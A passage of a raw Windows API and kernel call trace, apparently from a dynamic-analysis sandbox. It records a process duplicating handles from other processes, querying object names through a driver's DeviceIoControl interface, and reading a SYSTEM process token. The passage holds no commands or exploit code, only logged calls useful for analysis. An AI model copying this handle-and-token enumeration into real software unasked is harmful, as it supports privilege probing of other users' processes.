lpTargetHandle=0x12d470*=0xc4) returned 1 [0088.590] CloseHandle (hObject=0xc0) returned 1 [0088.590] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.590] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x78) returned 0x234c50 [0088.590] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x234c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x234c50, ReturnLength=0x0) returned 0x0 [0088.591] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x234c50 | out: hHeap=0x210000) returned 1 [0088.591] NtQueryInformationProcess (in: ProcessHandle=0xc4, ProcessInformationClass=0x0, ProcessInformation=0x12d538, ProcessInformationLength=0x30, ReturnLength=0x12d4b0 | out: ProcessInformation=0x12d538, ReturnLength=0x12d4b0) returned 0xc0000022 [0088.591] CloseHandle (hObject=0xc4) returned 1 [0088.591] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xd24) returned 0xc4 [0088.591] GetCurrentProcess () returned 0xffffffffffffffff [0088.591] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x20, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0088.591] CloseHandle (hObject=0xc4) returned 1 [0088.591] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.591] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x88) returned 0x234c50 [0088.591] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x234c50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x234c50, ReturnLength=0x0) returned 0x0 [0088.591] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x234c50 | out: hHeap=0x210000) returned 1 [0088.591] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f20090 [0088.591] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f20090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f20090*, lpBytesReturned=0x12d450*=0x5e, lpOverlapped=0x0) returned 1 [0088.591] PsLookupProcessByProcessId (in: ProcessId=0xd24, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.591] PsAcquireProcessExitSynchronization () returned 0x0 [0088.591] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0) [0088.591] ObReferenceObjectByHandle (in: Handle=0x20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003038b60, HandleInformation=0x0) returned 0x0 [0088.591] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.591] PsReleaseProcessExitSynchronization () returned 0x2 [0088.591] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x21 [0088.591] ObQueryNameString (in: Object=0xfffffa8003038b60, ObjectNameInfo=0xfffffa8003a23044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a23044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.591] ObfDereferenceObject (Object=0xfffffa8003038b60) returned 0x112 [0088.591] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.591] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f20090 | out: hHeap=0x210000) returned 1 [0088.591] CloseHandle (hObject=0xc0) returned 1 [0088.591] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xd24) returned 0xc0 [0088.591] GetCurrentProcess () returned 0xffffffffffffffff [0088.591] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x1c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0088.591] CloseHandle (hObject=0xc0) returned 1 [0088.591] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.591] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x78) returned 0x234c50 [0088.591] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x234c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x234c50, ReturnLength=0x0) returned 0x0 [0088.592] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x234c50 | out: hHeap=0x210000) returned 1 [0088.592] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f20090 [0088.592] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f20090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f20090*, lpBytesReturned=0x12d450*=0x1a, lpOverlapped=0x0) returned 1 [0088.592] PsLookupProcessByProcessId (in: ProcessId=0xd24, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.592] PsAcquireProcessExitSynchronization () returned 0x0 [0088.592] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0) [0088.592] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030987b0, HandleInformation=0x0) returned 0x0 [0088.592] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.592] PsReleaseProcessExitSynchronization () returned 0x2 [0088.592] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x21 [0088.592] ObQueryNameString (in: Object=0xfffffa80030987b0, ObjectNameInfo=0xfffffa8003a24044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a24044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.592] ObfDereferenceObject (Object=0xfffffa80030987b0) returned 0x4ea [0088.592] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.592] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f20090 | out: hHeap=0x210000) returned 1 [0088.592] CloseHandle (hObject=0xc4) returned 1 [0088.592] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xd1c) returned 0xc4 [0088.592] GetCurrentProcess () returned 0xffffffffffffffff [0088.592] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xbc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0088.592] CloseHandle (hObject=0xc4) returned 1 [0088.592] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.592] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x78) returned 0x234c50 [0088.592] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x234c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x234c50, ReturnLength=0x0) returned 0x0 [0088.592] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x234c50 | out: hHeap=0x210000) returned 1 [0088.592] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f20090 [0088.592] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f20090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f20090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0088.592] PsLookupProcessByProcessId (in: ProcessId=0xd1c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.592] PsAcquireProcessExitSynchronization () returned 0x0 [0088.592] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880052335d0) [0088.592] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800359a060, HandleInformation=0x0) returned 0x0 [0088.592] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.592] PsReleaseProcessExitSynchronization () returned 0x2 [0088.592] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x24 [0088.592] ObQueryNameString (in: Object=0xfffffa800359a060, ObjectNameInfo=0xfffffa8003a25044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a25044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.592] ObfDereferenceObject (Object=0xfffffa800359a060) returned 0x3 [0088.592] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.593] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f20090 | out: hHeap=0x210000) returned 1 [0088.593] CloseHandle (hObject=0xc0) returned 1 [0088.593] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xd1c) returned 0xc0 [0088.823] GetCurrentProcess () returned 0xffffffffffffffff [0088.823] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xa8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0088.823] CloseHandle (hObject=0xc0) returned 1 [0088.823] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.823] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x88) returned 0x24cb50 [0088.824] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x24cb50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x24cb50, ReturnLength=0x0) returned 0x0 [0088.824] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x24cb50 | out: hHeap=0x210000) returned 1 [0088.824] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f20090 [0088.824] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f20090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f20090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0088.824] PsLookupProcessByProcessId (in: ProcessId=0xd1c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.824] PsAcquireProcessExitSynchronization () returned 0x0 [0088.824] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880052335d0) [0088.824] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80021aaaa0, HandleInformation=0x0) returned 0x0 [0088.824] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.824] PsReleaseProcessExitSynchronization () returned 0x2 [0088.824] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x24 [0088.824] ObQueryNameString (in: Object=0xfffffa80021aaaa0, ObjectNameInfo=0xfffffa8003aaf044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003aaf044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.824] ObfDereferenceObject (Object=0xfffffa80021aaaa0) returned 0x2 [0088.824] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.824] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f20090 | out: hHeap=0x210000) returned 1 [0088.824] CloseHandle (hObject=0xc4) returned 1 [0088.824] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xd1c) returned 0xc4 [0088.824] GetCurrentProcess () returned 0xffffffffffffffff [0088.824] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xa4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0088.824] CloseHandle (hObject=0xc4) returned 1 [0088.824] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.825] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x88) returned 0x24cb50 [0088.825] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x24cb50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x24cb50, ReturnLength=0x0) returned 0x0 [0088.825] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x24cb50 | out: hHeap=0x210000) returned 1 [0088.825] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f20090 [0088.825] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f20090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f20090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0088.825] PsLookupProcessByProcessId (in: ProcessId=0xd1c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.825] PsAcquireProcessExitSynchronization () returned 0x0 [0088.825] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880052335d0) [0088.825] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800288a130, HandleInformation=0x0) returned 0x0 [0088.825] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.825] PsReleaseProcessExitSynchronization () returned 0x2 [0088.825] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x24 [0088.825] ObQueryNameString (in: Object=0xfffffa800288a130, ObjectNameInfo=0xfffffa8003ab0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ab0044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.825] ObfDereferenceObject (Object=0xfffffa800288a130) returned 0x3 [0088.825] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.825] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f20090 | out: hHeap=0x210000) returned 1 [0088.825] CloseHandle (hObject=0xc0) returned 1 [0088.825] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xd1c) returned 0xc0 [0088.825] GetCurrentProcess () returned 0xffffffffffffffff [0088.825] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xa0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0088.825] CloseHandle (hObject=0xc0) returned 1 [0088.825] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.825] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x80) returned 0x24cb50 [0088.825] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x24cb50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x24cb50, ReturnLength=0x0) returned 0x0 [0088.825] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x24cb50 | out: hHeap=0x210000) returned 1 [0088.825] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f20090 [0088.825] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f20090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f20090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0088.825] PsLookupProcessByProcessId (in: ProcessId=0xd1c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.825] PsAcquireProcessExitSynchronization () returned 0x0 [0088.825] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880052335d0) [0088.825] ObReferenceObjectByHandle (in: Handle=0xa0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00451ca00, HandleInformation=0x0) returned 0x0 [0088.825] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.825] PsReleaseProcessExitSynchronization () returned 0x2 [0088.825] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x24 [0088.825] ObQueryNameString (in: Object=0xfffff8a00451ca00, ObjectNameInfo=0xfffffa8003ab1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ab1044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.826] ObfDereferenceObject (Object=0xfffff8a00451ca00) returned 0x2 [0088.826] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.826] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f20090 | out: hHeap=0x210000) returned 1 [0088.826] CloseHandle (hObject=0xc4) returned 1 [0088.826] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xd04) returned 0xc4 [0088.826] GetCurrentProcess () returned 0xffffffffffffffff [0088.826] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0088.826] CloseHandle (hObject=0xc4) returned 1 [0088.826] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.826] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x80) returned 0x24cb50 [0088.826] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x24cb50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x24cb50, ReturnLength=0x0) returned 0x0 [0088.826] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x24cb50 | out: hHeap=0x210000) returned 1 [0088.826] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f20090 [0088.826] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f20090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f20090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0088.826] PsLookupProcessByProcessId (in: ProcessId=0xd04, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.826] PsAcquireProcessExitSynchronization () returned 0x0 [0088.826] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880052335d0) [0088.826] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80037681c0, HandleInformation=0x0) returned 0x0 [0088.826] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.826] PsReleaseProcessExitSynchronization () returned 0x2 [0088.826] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x1e [0088.826] ObQueryNameString (in: Object=0xfffffa80037681c0, ObjectNameInfo=0xfffffa8003ab2044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ab2044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.826] ObfDereferenceObject (Object=0xfffffa80037681c0) returned 0x2 [0088.826] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.826] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f20090 | out: hHeap=0x210000) returned 1 [0088.826] CloseHandle (hObject=0xc0) returned 1 [0088.827] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xbc0) returned 0xc0 [0088.827] GetCurrentProcess () returned 0xffffffffffffffff [0088.827] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x1d8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0088.827] CloseHandle (hObject=0xc0) returned 1 [0088.827] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.827] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x78) returned 0x234c50 [0088.827] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x234c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x234c50, ReturnLength=0x0) returned 0x0 [0088.827] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x234c50 | out: hHeap=0x210000) returned 1 [0088.827] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f20090 [0088.827] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f20090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f20090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0088.827] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.827] PsAcquireProcessExitSynchronization () returned 0x0 [0088.827] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880052335d0) [0088.827] ObReferenceObjectByHandle (in: Handle=0x1d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800216f060, HandleInformation=0x0) returned 0x0 [0088.827] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.827] PsReleaseProcessExitSynchronization () returned 0x2 [0088.827] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x38 [0088.827] ObQueryNameString (in: Object=0xfffffa800216f060, ObjectNameInfo=0xfffffa8003ab3044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ab3044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.827] ObfDereferenceObject (Object=0xfffffa800216f060) returned 0x2 [0088.827] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.828] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f20090 | out: hHeap=0x210000) returned 1 [0088.828] CloseHandle (hObject=0xc4) returned 1 [0088.828] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc4 [0088.828] GetCurrentProcess () returned 0xffffffffffffffff [0088.828] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x548, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0088.828] CloseHandle (hObject=0xc4) returned 1 [0088.828] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.828] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x78) returned 0x234c50 [0088.828] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x234c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x234c50, ReturnLength=0x0) returned 0x0 [0088.828] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x234c50 | out: hHeap=0x210000) returned 1 [0088.828] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc4 [0088.828] GetCurrentProcess () returned 0xffffffffffffffff [0088.828] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x548, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x8, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0088.828] CloseHandle (hObject=0xc4) returned 1 [0088.828] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12dbc0, TokenInformationLength=0x800, ReturnLength=0x12d4b4 | out: TokenInformation=0x12dbc0, ReturnLength=0x12d4b4) returned 1 [0088.829] LookupAccountSidW (in: lpSystemName="", Sid=0x12dbd0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12d9b0, cchName=0x12d4bc, ReferencedDomainName=0x12d7a0, cchReferencedDomainName=0x12d4b8, peUse=0x12d4e8 | out: Name="SYSTEM", cchName=0x12d4bc, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12d4b8, peUse=0x12d4e8) returned 1 [0088.836] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0xa, TokenInformation=0x12d568, TokenInformationLength=0x38, ReturnLength=0x12d4b4 | out: TokenInformation=0x12d568, ReturnLength=0x12d4b4) returned 1 [0088.836] GetLastError () returned 0x32 [0088.836] SetLastError (dwErrCode=0x32) [0088.836] GetLastError () returned 0x32 [0088.836] SetLastError (dwErrCode=0x32) [0088.836] CloseHandle (hObject=0xc8) returned 1 [0088.836] CloseHandle (hObject=0xc0) returned 1 [0088.836] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc0 [0088.837] GetCurrentProcess () returned 0xffffffffffffffff [0088.837] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x454, 